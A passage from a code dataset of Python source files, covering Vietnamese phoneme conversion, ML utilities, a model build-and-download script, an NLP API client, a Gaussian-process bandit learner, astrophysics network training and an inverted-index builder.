'z', 'v', 'g', 'ă', '_', 'æ', 'ɤ', '2', 'ʤ', 'i', '.', 'ɒ', 'b', 'h', 'n', 'ʂ', 'ɔ', 'ɛ', 'k', 'm', '5', ' ', 'c', 'j', 'x', 'ʈ', ',', '4', 'ʊ', 's', 'ŋ', 'a', 'ʃ', '?', 'r', ':', 'η', 'f', ';', 'e', 't', \"'\"]\r\n listParse.sort(reverse = True,key=len)\r\n output=\"\"\r\n skip=0\r\n for ic,char in enumerate(text):\r\n ##print(char,skip)\r\n check = 0\r\n if skip>0:\r\n skip=skip-1\r\n continue\r\n for l in listParse:\r\n \r\n if len(l) <= len(text[ic:]) and l == text[ic:ic+len(l)]:\r\n output+=delimit+l\r\n check =1\r\n skip=len(l)-1\r\n break\r\n if check == 0:\r\n #Case symbol not in list\r\n if str(char) in [\"ˈ\",\"ˌ\",\"*\"]:\r\n continue\r\n #print(\"this is not in symbol :\"+ char+\":\")\r\n output+=delimit+undefine_symbol\r\n return output.rstrip()+delimit\r\n\r\ndef T2IPA_split(text,delimit):\r\n sys.path.append('./Rules') # make sure we can find the Rules files\r\n #Setup option\r\n glottal = 0\r\n pham = 0 \r\n cao = 0\r\n palatals = 0\r\n tokenize = 0\r\n dialect='n' #\"c\"\"s\"\r\n tone_type=0\r\n if tone_type==0:\r\n pham=1\r\n else:\r\n cao=1\r\n #Input text\r\n line = text\r\n if line =='\\n':\r\n return \"\"\r\n else:\r\n compound = u''\r\n ortho = u'' \r\n words = line.split()\r\n ## toss len==0 junk\r\n words = [word for word in words if len(word)>0]\r\n ## hack to get rid of single hyphens or underscores\r\n words = [word for word in words if word!=u'-']\r\n words = [word for word in words if word!=u'_']\r\n for i in range(0,len(words)):\r\n word = words[i].strip()\r\n ortho += word\r\n word = word.strip(punctuation).lower()\r\n ## 29.03.16: check if tokenize is true\r\n ## if true, call this routine for each substring\r\n ## and re-concatenate \r\n if (tokenize and '-' in word) or (tokenize and '_' in word):\r\n substrings = re.split(r'(_|-)', word)\r\n values = substrings[::2]\r\n delimiters = substrings[1::2] + ['']\r\n ipa = [convert(x, dialect, glottal, pham, cao, palatals, delimit).strip() for x in values]\r\n seq = ''.join(v+d for v,d in zip(ipa, delimiters))\r\n else:\r\n seq = convert(word, dialect, glottal, pham, cao, palatals, delimit).strip()\r\n # concatenate\r\n if len(words) >= 2:\r\n ortho += ' '\r\n if i < len(words)-1:\r\n seq = seq+u' '\r\n compound = compound + seq\r\n return compound\r\ndef T2IPA(text):\r\n sys.path.append('./Rules') # make sure we can find the Rules files\r\n #Setup option\r\n glottal = 0\r\n pham = 0 \r\n cao = 0\r\n palatals = 0\r\n tokenize = 0\r\n delimit = ''\r\n dialect='n' #\"c\"\"s\"\r\n tone_type=0\r\n if tone_type==0:\r\n pham=1\r\n else:\r\n cao=1\r\n #Input text\r\n line = text\r\n if line =='\\n':\r\n return \"\"\r\n else:\r\n compound = u''\r\n ortho = u'' \r\n words = line.split()\r\n ## toss len==0 junk\r\n words = [word for word in words if len(word)>0]\r\n ## hack to get rid of single hyphens or underscores\r\n words = [word for word in words if word!=u'-']\r\n words = [word for word in words if word!=u'_']\r\n for i in range(0,len(words)):\r\n word = words[i].strip()\r\n ortho += word\r\n word = word.strip(punctuation).lower()\r\n ## 29.03.16: check if tokenize is true\r\n ## if true, call this routine for each substring\r\n ## and re-concatenate \r\n if (tokenize and '-' in word) or (tokenize and '_' in word):\r\n substrings = re.split(r'(_|-)', word)\r\n values = substrings[::2]\r\n delimiters = substrings[1::2] + ['']\r\n ipa = [convert(x, dialect, glottal, pham, cao, palatals, delimit).strip() for x in values]\r\n seq = ''.join(v+d for v,d in zip(ipa, delimiters))\r\n else:\r\n seq = convert(word, dialect, glottal, pham, cao, palatals, delimit).strip()\r\n # concatenate\r\n if len(words) >= 2:\r\n ortho += ' '\r\n if i < len(words)-1:\r\n seq = seq+u' '\r\n compound = compound + seq\r\n return compound\r\n\r\nEN={\"a\":\"ây\",\"ă\":\"á\",\"â\":\"ớ\",\"b\":\"bi\",\"c\":\"si\",\"d\":\"đi\",\"đ\":\"đê\",\"e\":\"i\",\"ê\":\"ê\",\"f\":\"ép\",\"g\":\"giy\",\"h\":\"ếch\",\"i\":\"ai\",\"j\":\"giây\",\"k\":\"cây\",\"l\":\"eo\",\"m\":\"em\",\"n\":\"en\",\"o\":\"âu\",\"ô\":\"ô\",\"ơ\":\"ơ\",\"p\":\"pi\",\"q\":\"kiu\",\"r\":\"a\",\"s\":\"ét\",\"t\":\"ti\",\"u\":\"diu\",\"ư\":\"ư\",\"v\":\"vi\",\"w\":\"đắp liu\",\"x\":\"ít\",\"y\":\"quai\",\"z\":\"giét\"}\r\nimport re\r\ndef vi2IPA_split(texts,delimit):\r\n content=[]\r\n with open(imp.find_module('viphoneme')[1]+\"/Popular.txt\",encoding=\"utf-8\") as f:\r\n content=f.read().splitlines()\r\n tess = texts.split(\".\")\r\n Results =\"\"\r\n for text in tess:\r\n #print(\"------------------------------------------------------\")\r\n TN= TTSnorm(text)\r\n #TN=text\r\n #print(\"------------------------------------------------------\")\r\n #print(\"Text normalize: \",TN)\r\n TK= word_tokenize(TN)\r\n #print(\"Vietnamese Tokenize: \",TK)\r\n\r\n \r\n for iuv,under_valid in enumerate(TK):\r\n token_under=under_valid.split(\" \")\r\n checkinvalid=0\r\n ##print(token_under)\r\n if len(token_under) >1:\r\n for tok in token_under:\r\n if tok not in content or \"[\" in T2IPA(tok):\r\n checkinvalid=1\r\n if checkinvalid==1:\r\n TK = TK[:iuv] + TK[iuv+1 :]\r\n for tok in reversed(token_under):\r\n TK.insert(iuv, tok)\r\n\r\n IPA=\"\"\r\n\r\n for tk in TK:\r\n ipa = T2IPA_split(tk,delimit).replace(\" \",\"_\")\r\n if ipa ==\"\":\r\n IPA+=delimit+tk+delimit+\" \"\r\n elif ipa[0]==\"[\" and ipa[-1]==\"]\":\r\n eng = eng_to_ipa.convert(tk)\r\n if eng[-1] == \"*\":\r\n if tk.lower().upper() == tk:\r\n ##print(\"ENGLISH\",tk)\r\n #Đọc tiếng anh từng chữ\r\n letter2sound=\"\"\r\n for char in tk:\r\n CHAR = str(char).lower()\r\n if CHAR in list(EN.keys()):\r\n letter2sound+=EN[CHAR]+\" \"\r\n else:\r\n letter2sound+=char+\" \"\r\n IPA+=T2IPA_split(letter2sound,delimit)+\" \"\r\n else:\r\n #Giữ nguyên\r\n #Future: test experiment\" Nếu từ unknow có thể dùng eng_norm để chuyển qua thay thế chứ không cần giữ nguyên như này\r\n IPA+=Parsing(\"default\",tk.lower(),delimit)+\" \"\r\n else:\r\n #This use for version english not splited by syllable\r\n #IPA+=Parsing(\"default\",eng,delimit)+\" \"\r\n #This version will split english to each syllable\r\n IPA+=normEng(tk,delimit)+ delimit+\" \"\r\n\r\n\r\n #Check tu dien tieng anh Etrain bưc\r\n #Neu co Mapping\r\n #Neu khong, check co nguyen am\r\n #Neu co de nguyen\r\n #Neu khong danh van\r\n #print(\" ..................Out of domain word: \" ,ipa)\r\n else:\r\n IPA+=ipa+\" \"\r\n IPA=re.sub(delimit+'+', delimit, IPA)\r\n IPA=re.sub(' +', ' ', IPA)\r\n #print(\"IPA Vietnamese: \",IPA)\r\n #print(\"------------------------------------------------------\")\r\n Results+= IPA.rstrip()+\" \"+delimit+\".\"+delimit+\" \"\r\n\r\n \r\n return Results.rstrip()\r\ndef vi2IPA(text):\r\n #print(\"------------------------------------------------------\")\r\n TN= TTSnorm(text)\r\n #print(\"------------------------------------------------------\")\r\n #print(\"Text normalize: \",TN)\r\n TK= word_tokenize(TN)\r\n #print(\"Vietnamese Tokenize: \",TK)\r\n IPA=\"\"\r\n for tk in TK:\r\n ipa = T2IPA(tk).replace(\" \",\"_\")\r\n if ipa ==\"\":\r\n IPA+=tk+\" \"\r\n elif ipa[0]==\"[\" and ipa[-1]==\"]\":\r\n eng = eng_to_ipa.convert(tk)\r\n if eng[-1] == \"*\":\r\n if tk.lower().upper() == tk:\r\n #Đọc tiếng anh từng chữ\r\n letter2sound=\"\"\r\n for char in tk:\r\n CHAR = str(char).lower()\r\n if CHAR in list(EN.keys()):\r\n letter2sound+=EN[CHAR]+\" \"\r\n else:\r\n letter2sound+=char+\" \"\r\n IPA+=T2IPA_split(letter2sound,\"\")+\" \"\r\n else:\r\n #Giữ nguyên\r\n IPA+=Parsing(\"default\",tk,\"\")+\" \"\r\n else:\r\n IPA+=eng+\" \"\r\n #Check tu dien tieng anh Etrain bưc\r\n #Neu co Mapping\r\n #Neu khong, check co nguyen am\r\n #Neu co de nguyen\r\n #Neu khong danh van\r\n #print(\" ..................Out of domain word: \" ,ipa)\r\n else:\r\n IPA+=ipa+\" \"\r\n IPA=re.sub(' +', ' ', IPA)\r\n #print(\"IPA Vietnamese: \",IPA)\r\n #print(\"------------------------------------------------------\")\r\n return IPA\r\n","sub_path":"viphoneme/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":30519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301219340","text":"import tensorflow as tf\r\nimport numpy as np\r\nimport pickle\r\n\r\n\r\ndef count_parameters(trained_vars):\r\n total_parameters = 0\r\n print('=' * 100)\r\n for variable in trained_vars:\r\n variable_parameters = 1\r\n for dim in variable.get_shape():\r\n variable_parameters *= dim.value\r\n print('{:70} {:20} params'.format(variable.name, variable_parameters))\r\n print('-' * 100)\r\n total_parameters += variable_parameters\r\n print('=' * 100)\r\n print(\"total trainable parameters: %d\" % total_parameters)\r\n print('=' * 100)\r\n\r\n\r\ndef load_vocab(vocab_file):\r\n print('loading vocabulary ...')\r\n with open(vocab_file, 'rb') as f:\r\n word_dict = pickle.load(f)\r\n print('vocab size = %d' % len(word_dict))\r\n return word_dict\r\n\r\n\r\ndef vectorize(docs):\r\n sequence_lengths = [len(doc) for doc in docs]\r\n max_sequence_length = np.max(sequence_lengths)\r\n padded_docs = np.zeros(shape=[len(docs), max_sequence_length], dtype=np.int32)\r\n padded_docs_mask = np.zeros(shape=[len(docs), max_sequence_length], dtype=np.float32)\r\n for i, doc in enumerate(docs):\r\n padded_docs[i, :sequence_lengths[i]] = doc\r\n padded_docs_mask[i, :sequence_lengths[i]] = 1.0\r\n\r\n return padded_docs, padded_docs_mask, sequence_lengths, max_sequence_length\r\n\r\n\r\ndef load_glove(glove_file, embedding_size, vocab):\r\n print('loading glove pre-trained word embeddings ...')\r\n embedding_weights = {}\r\n f = open(glove_file, encoding='utf-8')\r\n for line in f:\r\n values = line.split()\r\n word = values[0]\r\n vector = np.asarray(values[1:], dtype='float32')\r\n embedding_weights[word] = vector\r\n f.close()\r\n print('total {} word vectors in {}'.format(len(embedding_weights), glove_file))\r\n\r\n embedding_matrix = np.random.uniform(-0.5, 0.5, (len(vocab), embedding_size)) / embedding_size\r\n\r\n oov_count = 0\r\n for word, i in vocab.items():\r\n embedding_vector = embedding_weights.get(word)\r\n if embedding_vector is not None:\r\n embedding_matrix[i] = embedding_vector\r\n else:\r\n oov_count += 1\r\n print('number of OOV words = %d' % oov_count)\r\n\r\n return embedding_matrix\r\n","sub_path":"fasttext/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"186235222","text":"import os\nimport sys\nimport json\nimport shutil\n\n\nclass Build:\n def __init__(\n self,\n build_type='develop', rebuild=False,\n download_model=True, model_path='../model_weights',\n develop=False,\n gitee=False\n ):\n \"\"\"\n build_type: what goes after python setup.py\n download_model: weather you wantt o downloadt he model\n model_path: where you want to store the downloaded models\n develop: weather you want to install packages for jobs other than inferencing\n \"\"\"\n self.python_executable = sys.executable\n self.cwd = os.path.split(__file__)[0]\n os.chdir(self.cwd)\n self.opt = {\n 'build_type': build_type,\n 'develop': develop,\n 'download_model': download_model,\n 'model_path': os.path.abspath(model_path),\n 'gitee': gitee,\n 'rebuild': rebuild\n }\n # Make sure building tools are there\n self.pip_install(['pip', 'setuptools', 'wheel'])\n # Packages that all algorithms will use\n self.pip_install(['numpy', 'opencv-python', 'Pillow', 'torch', 'torchvision'])\n # Create folder for model\n if download_model:\n os.makedirs(self.opt['model_path'], exist_ok=True)\n\n @staticmethod # Internal\n def terms_to_delete(path: str):\n return ['dist', 'build', [fil for fil in os.listdir(path) if fil[-9:] == '.egg-info'][0]]\n\n # Internal\n def pip_install(self, libs: list):\n if isinstance(libs, str):\n libs = [libs]\n if libs:\n os.system(f\"{self.python_executable} -m pip install -U {' '.join(libs)}\")\n\n def download_from_google_drive(self, link, save_dir):\n try:\n from utils.download import download_file_from_google_drive\n except ModuleNotFoundError:\n self.pip_install(['requests', 'tqdm'])\n from utils.download import download_file_from_google_drive\n download_file_from_google_drive(link, save_dir)\n\n # Algorithms\n def BasicSR(self, cuda_extensions=None, **kwargs):\n # Resolve options\n opt = self.opt\n opt.update(kwargs)\n if cuda_extensions is None:\n import torch\n cuda_extensions = True if torch.cuda.is_available() else False\n # Install packages\n self.pip_install(['addict', 'future', 'lmdb', 'pyyaml', 'requests', 'scikit-image', 'scipy', 'tb-nightly', 'tqdm', 'yapf'])\n if opt['develop']:\n pass\n os.chdir('../third_party')\n if os.path.exists('BasicSR') and opt['rebuild']:\n shutil.rmtree('BasicSR')\n os.system(f\"git clone https://{'gitee' if opt['gitee'] else 'github'}.com/xinntao/BasicSR.git\")\n os.chdir('BasicSR')\n os.system(f\"{self.python_executable} setup.py {opt['build_type']}{'' if cuda_extensions else ' --no_cuda_ext'}\")\n # Download models\n links = {\n 'EDVR': [\n ('1LGhWdzAIu818_IDptIUBGCBJoE11jQLk', 'official_L_deblur_REDS.pth'),\n ('1eEWNZCCL17cf-G4yKF65rjV8Yy4eXnwM', 'official_L_deblurcomp_REDS.pth'),\n ('1C6tFY8CjjLaGqpPddWRrgqRThNVd9DZD', 'official_L_x4_SR_REDS.pth'),\n ('1ehwhFsVG8WCJ5tTfJRCpYzexPrB-ru5e', 'official_L_x4_SR_Vimeo90K.pth'),\n ('1WUwcPvp6rHrgxgfUtByfoosVUZ7w0i-N', 'official_L_x4_SRblur_REDS.pth'),\n ('1ddnMOCu87T_WbUFNvY0yihs44cViHvoY', 'official_M_woTSA_x4_SR_REDS.pth'),\n ('1scZpjI0iMRXdNSklR5j5Ei3mXbzIES9r', 'official_M_x4_SR_REDS.pth')\n ],\n 'esrgan': [\n ('1ZZUHpIHdK2WijNiiV_QyFooJV9SuEgk1', 'official_ESRGAN_x4_old_arch.pth'),\n ('1AIyRcdAHj4l-pwTfUHaSoOgy2L2uuphN', 'official_ESRGAN_x4.pth'),\n ('1r9CEwpWaBQvFjuEJk7J8rDP9cnuOwhgK', 'official_PSNR_SRx4_DF2K.pth'),\n ('1l48p8GCErCrg_p3zFBNCjJ7Jc21eP-vb', 'official_PSNR_x4_old_arch.pth'),\n ('1SWZDffT4iZJ3ufsPBSbIRcPCcTGbM3vw', 'official_PSNR_x4.pth'),\n ('1qSSyzbxnnRgH11DGEXpcrSma2fCLRXfK', 'official_SR_x4_DF2KOST.pth')\n ]\n }\n # Resolve download_model\n opt['download_model'] = links.keys() if opt['download_model'] == True else []\n for a in opt['download_model']:\n if a in links.keys():\n os.makedirs(f'{opt[\"model_path\"]}/{a}', exist_ok=True)\n for link in links[a]:\n self.download_from_google_drive(link[0], f'{opt[\"model_path\"]}/{a}/{link[1]}')\n os.chdir(self.cwd)\n\n def SSM(self, **kwargs):\n # Resolve options\n opt = self.opt\n opt.update(kwargs)\n if opt['develop']:\n self.pip_install(['click', 'tensorboardX'])\n if opt['download_model']:\n os.makedirs(f'{opt[\"model_path\"]}/SSM', exist_ok=True)\n self.download_from_google_drive('10cOGtYTheDg2rF3geLtOUYvYyMjfCUct', f'{opt[\"model_path\"]}/SSM/official.pth')\n\n def DAIN_all_in_one(self, cc=None, **kwargs):\n # Resolve options\n opt = self.opt\n opt.update(kwargs)\n if cc is None:\n import torch\n cc = ['%d%d' % torch.cuda.get_device_capability()]\n if opt['develop']:\n self.pip_install(['bisect'])\n os.chdir('vfin/dain')\n # Write compiler args\n nvcc_args = []\n for cc_ in cc:\n nvcc_args.append('-gencode')\n nvcc_args.append(f'arch=compute_{cc_},code=sm_{cc_}')\n nvcc_args.append('-w')\n with open('compiler_args.json', 'w') as f:\n json.dump({\n 'develop': opt['develop'],\n 'extra_compile_args': {'nvcc': nvcc_args, 'cxx': ['-std=c++14', '-w']}\n }, f)\n print(f'Compiling for compute compatibility {cc}')\n # Compile\n # DAIN's package\n os.system(f'{self.python_executable} setup.py {opt[\"build_type\"]}')\n \"\"\"\n os.chdir('my_package')\n packages = ['DepthFlowProjection', 'FilterInterpolation', 'FlowProjection']\n if opt['develop']:\n packages.extend(['InterpolationCh', 'SeparableConv', 'SeparableConvFlow', 'MinDepthFlowProjection', 'Interpolation'])\n for folder in packages:\n os.chdir(f\"{'' if folder == packages[0] else '../'}{folder}\")\n os.system(f'{self.python_executable} setup.py {opt[\"build_type\"]}')\n if opt['build_type'] == 'install':\n for file_to_delete in self.terms_to_delete('.'):\n shutil.rmtree(file_to_delete)\n # PWCNet\n os.chdir('../../PWCNet/correlation_package_pytorch1_0')\n os.system(f'{self.python_executable} setup.py {opt[\"build_type\"]}')\n if opt['build_type'] == 'install':\n for file_to_delete in self.terms_to_delete('.'):\n shutil.rmtree(file_to_delete)\n os.chdir('../..')\n \"\"\"\n if opt['build_type'] == 'install':\n for file_to_delete in self.terms_to_delete('.'):\n shutil.rmtree(file_to_delete)\n os.remove('compiler_args.json')\n os.chdir(self.cwd)\n # Download model\n if opt['download_model']:\n os.makedirs(f'{opt[\"model_path\"]}/DAIN', exist_ok=True)\n self.download_from_google_drive('1r-gVVu6oxCSZyBij4d4tPtssifGZlG5X', f'{opt[\"model_path\"]}/DAIN/dain_app_experimental.pth')\n self.download_from_google_drive('1vxRb52qyJt3J_AJzzA1LiEdfPEyf9bXf', f'{opt[\"model_path\"]}/DAIN/official.pth')\n\n def DAIN(self, cc=None, **kwargs):\n # Resolve options\n opt = self.opt\n opt.update(kwargs)\n if cc is None:\n import torch\n cc = ['%d%d' % torch.cuda.get_device_capability()]\n if opt['develop']:\n self.pip_install(['bisect'])\n os.chdir('vfin/dain')\n # Write compiler args\n nvcc_args = []\n for cc_ in cc:\n nvcc_args.append('-gencode')\n nvcc_args.append(f'arch=compute_{cc_},code=sm_{cc_}')\n nvcc_args.append('-w')\n with open('compiler_args.json', 'w') as f:\n json.dump({'nvcc': nvcc_args, 'cxx': ['-std=c++14', '-w']}, f)\n print(f'Compiling for compute compatibility {cc}')\n # Compile\n # DAIN's package\n os.chdir('my_package')\n packages = ['DepthFlowProjection', 'FilterInterpolation', 'FlowProjection']\n if opt['develop']:\n packages.extend(['InterpolationCh', 'SeparableConv', 'SeparableConvFlow', 'MinDepthFlowProjection', 'Interpolation'])\n for folder in packages:\n os.chdir(f\"{'' if folder == packages[0] else '../'}{folder}\")\n os.system(f'{self.python_executable} setup.py {opt[\"build_type\"]}')\n if opt['build_type'] == 'install':\n for file_to_delete in self.terms_to_delete('.'):\n shutil.rmtree(file_to_delete)\n # PWCNet\n os.chdir('../../PWCNet/correlation_package_pytorch1_0')\n os.system(f'{self.python_executable} setup.py {opt[\"build_type\"]}')\n if opt['build_type'] == 'install':\n for file_to_delete in self.terms_to_delete('.'):\n shutil.rmtree(file_to_delete)\n os.chdir('../..')\n os.remove('compiler_args.json')\n os.chdir(self.cwd)\n # Download model\n if opt['download_model']:\n os.makedirs(f'{opt[\"model_path\"]}/DAIN', exist_ok=True)\n self.download_from_google_drive('1r-gVVu6oxCSZyBij4d4tPtssifGZlG5X', f'{opt[\"model_path\"]}/DAIN/dain_app_experimental.pth')\n self.download_from_google_drive('1vxRb52qyJt3J_AJzzA1LiEdfPEyf9bXf', f'{opt[\"model_path\"]}/DAIN/official.pth')\n\n def DeOldify(self, download_model=True):\n os.chdir('plugins')\n os.system(f'{self.python_executable} -m pip install ')\n if download_model:\n pass\n","sub_path":"vrt/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":9882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"361138313","text":"# training/utilities/nlpAPI.py - utility calls to the NLP back-end API\n#\n# Copyright © Mirinae Corp., John Wainwright 2020\n#\nimport json\nimport http.client, urllib.parse\n\ndef extractVerbPhrase(sourceText, options=None): # 'endingForm'):\n \"call the NLP API to extract sentence-final verb-phrase and attendant form data from given sourceText\"\n\n # set up the call\n if options is None:\n options = dict(phraseForm='verbPhrase')\n body = json.dumps(dict(sourceText=sourceText, options=options))\n\n headers = {\"Content-Type\": \"application/json; charset=utf-8\",\n \"Accept\": \"application/json; charset=utf-8\",\n \"Cache-Control\": \"no-cache\",\n \"Content-Length\": str(len(body))\n }\n try:\n conn = http.client.HTTPSConnection(\"alpha.mirinae.io\")\n # local test: conn = http.client.HTTPConnection(\"localhost:2000\")\n conn.request(\"POST\", \"/api/nlp/extractverbphrase\", body, headers)\n response = conn.getresponse()\n except:\n # server down?\n return dict(success=False, error=\"Server not responding\")\n #\n if response.status != 200:\n failReason = response.reason\n return dict(success=False, status=response.status, error=response.reason)\n else:\n try:\n data = response.read()\n return json.loads(data.decode('utf-8'))\n except:\n return dict(success=False, error=\"Illegal JSON response\")\n\nif __name__ == \"__main__\":\n\n # test it\n result = extractVerbPhrase(\"나는 자전거를 탈 수 있을 것이야. 나는 배가 고파.\")\n print(result)","sub_path":"pipeline/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545648627","text":"#from pylab import *\nimport numpy as np\nfrom vgg_rq import vgg_rq\n\n#VGG_KR_FROM_P Extract K, R from camera matrix.\n#\n# [K,R,t] = VGG_KR_FROM_P(P [,noscale]) finds K, R, t such that P = K*R*[eye(3) -t].\n# It is det(R)==1.\n# K is scaled so that K[2,2] == 1 and K[0,0 ] > 0. Optional parameter noscale prevents this.\n#\n# Works also generally for any P of size N-by-(N+1).\n# Works also for P of size N-by-N, then t is not computed.\n\n\n# Author: Andrew Fitzgibbon \n# Modified by werner.\n# Date: 15 May 98\n\ndef vgg_KR_from_P(P, noscale=False):\n \n N = np.shape(P)[0]\n H = P[:, :N]\n \n K, R = vgg_rq(H)\n \n if not noscale:\n K = K / K[N-1, N-1]\n if K[0,0] < 0:\n D = np.diag(np.hstack((np.array([-1,-1]), np.ones(N-2))))\n K = np.dot(K, D)\n R = np.dot(D, R)\n \n t = np.linalg.lstsq(-P[:,0:N], P[:, -1], rcond=None)[0]\n \n return K, R, t","sub_path":"exercise6/exercise6/Python/vgg_KR_from_P.py","file_name":"vgg_KR_from_P.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"98316503","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 12 20:04:17 2021\n\n@author: amandaseger\n\"\"\"\nfrom AdvertisingEnvironment.BiddingEnvironment import *\nfrom AdvertisingEnvironment.Learner import *\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF, ConstantKernel as C\n\nclass GPTS_Learner(Learner):\n def __init__(self, n_arms, arms):\n super().__init__(n_arms)\n self.arms = arms\n self.means = np.zeros(n_arms)\n self.sigmas = np.ones(n_arms) * 10\n self.pulled_arms = []\n alpha = 10.0\n kernel = C(1.0, (1e-3, 1e3)) * RBF(1.0, (1e-3, 1e3))\n self.gp = GaussianProcessRegressor(kernel=kernel, alpha = alpha**2, normalize_y=True, n_restarts_optimizer=10)\n\n \n def update_observations(self, pulled_arm, reward):\n super().update_observations(pulled_arm, reward)\n self.pulled_arms.append(self.arms[pulled_arm])\n \n def update_model(self):\n x = np.atleast_2d(self.pulled_arms).T\n y = self.collected_rewards\n self.gp.fit(x,y)\n \n x_pred = np.atleast_2d(self.arms).T\n self.means, self.sigmas = self.gp.predict(x_pred, return_std=True)\n self.sigmas = np.maximum(self.sigmas, 1e-2)\n \n def update(self, pulled_arm, reward):\n self.t += 1\n self.update_observations(pulled_arm, reward)\n self.update_model()\n \n \n def pull_arm(self):\n idx = np.argmax(np.random.normal(self.means, self.sigmas))\n return idx ","sub_path":"PricingAdvertising/AdvertisingEnvironment/GPTS_Learner.py","file_name":"GPTS_Learner.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"528071037","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov 24 01:49:00 2019\r\n\r\n@author: User\r\n\"\"\"\r\n\r\nfrom neuralStellar import *\r\nfrom datetime import datetime\r\nimport os\r\n\r\ntime_now=datetime.now().strftime(\"%Y-%m-%d_%H%M%S\")\r\nfolder_name='Hin_gridNN_outputs_'+time_now\r\nos.mkdir(folder_name)\r\n\r\nfile='grid_0_0.csv'\r\nsmall_grid=stellarGrid(file)\r\nsmall_grid.buildIndex()\r\nsmall_grid.popIndex(['','star_mass','star_age','star_feh','star_MLT','effective_T','luminosity','delta_nu'],\r\n proper=['step','mass','age','feh','MLT','Teff','L','delnu'])\r\nsmall_grid.initialData()\r\n\r\nin_dex=['mass','age','feh','MLT']\r\nout_dex=['L','Teff','delnu']\r\nx_in=small_grid.fetchData('evo',in_dex)\r\ny_out=small_grid.fetchData('evo',out_dex)\r\nx_in, y_out=shuffleInputs(x_in,y_out)\r\nm1=NNmodel('evo',in_dex, out_dex)\r\nm1.buildModel([len(x_in),len(y_out)], 8, 128, reg=['l2',0.0001])\r\nm1.compileModel(0.001,'MAE',metrics=['MAE','MSE'], beta_1=0.9999, beta_2=0.999)\r\nm1.fitModel(x_in, y_out, 500000, len(x_in[0]),folder_name+'/small_grid_model.h5', keep_log=False)\r\nm1.saveHist(folder_name+'/trainHistoryDict')","sub_path":"Hin's_files/GPU_runs/small_grid_28.py","file_name":"small_grid_28.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"164742458","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nfrom data.data_loader import data_loader, DataLoader, Utterance\nfrom satisfaction import configuration\nfrom satisfaction.feature_extracter import Feature_Extracter\nfrom satisfaction.experimenter import Experimenter\nimport numpy as np\nimport os\n\n__author__ = \"Rui Meng\"\n__email__ = \"rui.meng@pitt.edu\"\n\nif __name__ == '__main__':\n # initialize\n config = configuration.load_config()\n extractor = Feature_Extracter(config)\n exp = Experimenter(config)\n\n best_results = []\n # iterate each dataset\n for data_name in config['data_names']:\n config.param['data_name'] = data_name\n\n config.logger.info('*' * 50)\n config.logger.info('-' * 20 + data_name + '-' * 20)\n config.logger.info('*' * 50)\n # initialize data_loader\n loader = data_loader(data_name, {'config': config})\n\n # load raw and annotated data\n all_sessions = loader()\n session_ids, annotated_sessions = loader.load_annotated_data()\n loader.stats()\n\n # train and test\n X_raw, Y = extractor.split_to_instances(annotated_sessions)\n X = extractor.extract()\n result = exp.run_cross_validation(X, Y)\n\n # find the best classifier (with best F1-score)\n result = result[np.asarray(result).T[4].argmax()]\n result[0] = data_name + ' - ' + result[0]\n best_results.append(result)\n\n exp.export_summary(best_results, os.path.join(config.param['experiment_path'], 'summary_of_each_dataset.csv'))","sub_path":"dialogue/deprecated/satisfaction/entry.py","file_name":"entry.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"406010156","text":"import re\nfrom sortedcontainers import SortedSet, SortedDict\n\n\n\ndef main():\n\n\tsetup()\n\ndef setup():\n\n\t# Dictionary to store word as the key and value as the id.\n\tdict = {}\n\n\t# Array to store filename\n\tfileArr = [v for v in range(44)]\n\n\t\n\t\n\t# Iterate through every file in the file array and populate the dictionary\n\tfor file in fileArr:\n\n\t\tpopulateMainDictionary(str(file), dict)\n\n\t# Dictionary to store ids as the key and a set as value which contains the occurences of that id(word). \n\t# A sorted dictionary stored the keys in the sorted format, so there is no need to explicitly sort the dictionary.\n\tdict1=SortedDict()\n\n\t\n\t# Iterate through every file in the file array and populate the second dictionary\n\tfor fileName in range(len(fileArr)):\n\t\tpopulateSecondDictionary(dict, fileName, dict1)\n\t\t\n\t\n\t# Function to get the inverted index for a given word. It returns a list of files in which the given word exists.\n\tgetInvertedIndex(\"all\",dict, dict1)\n\tgetInvertedIndex(\"Shakespeare\", dict, dict1)\n\n\t\n\t\n\n# Function to populate the second dictionary\ndef populateSecondDictionary(dict, fileName, dict1):\n\n\t\n\t# Open the file to process the contents of the file\n\twith open(str(fileName), 'r') as f:\n\n\t\tfor line in f:\n\n\t\t\t# Process every word in the line\n\t\t\tfor word in line.split():\n\n\t\t\t\t# Regex to remove any punctuations\n\t\t\t\tcleanString = re.sub('\\W+','', word)\n\n\t\t\t\t# If the word is present in the main dictionary, then get its value and check if the value is present in the second dictionary\n\t\t\t\tif cleanString in dict:\n \t\t\t\t\tvalue = dict[cleanString]\n \t\t\t\t\t# If the value is not present in the second dictionary, then create a sorted set and add the filename to it. \n \t\t\t\t\t# A sorted set makes sure that there are no duplicates and the items in the set are already ordered, so there is no need to explicitly sort it.\n \t\t\t\t\tif value not in dict1:\n \t\t\t\t\t\ts = SortedSet()\n \t\t\t\t\t\ts.add(fileName)\n \t\t\t\t\t\tdict1[value]=s\n \t\t\t\t\telse:\n \t\t\t\t\t\tdict1[value].add(fileName)\n\t\n 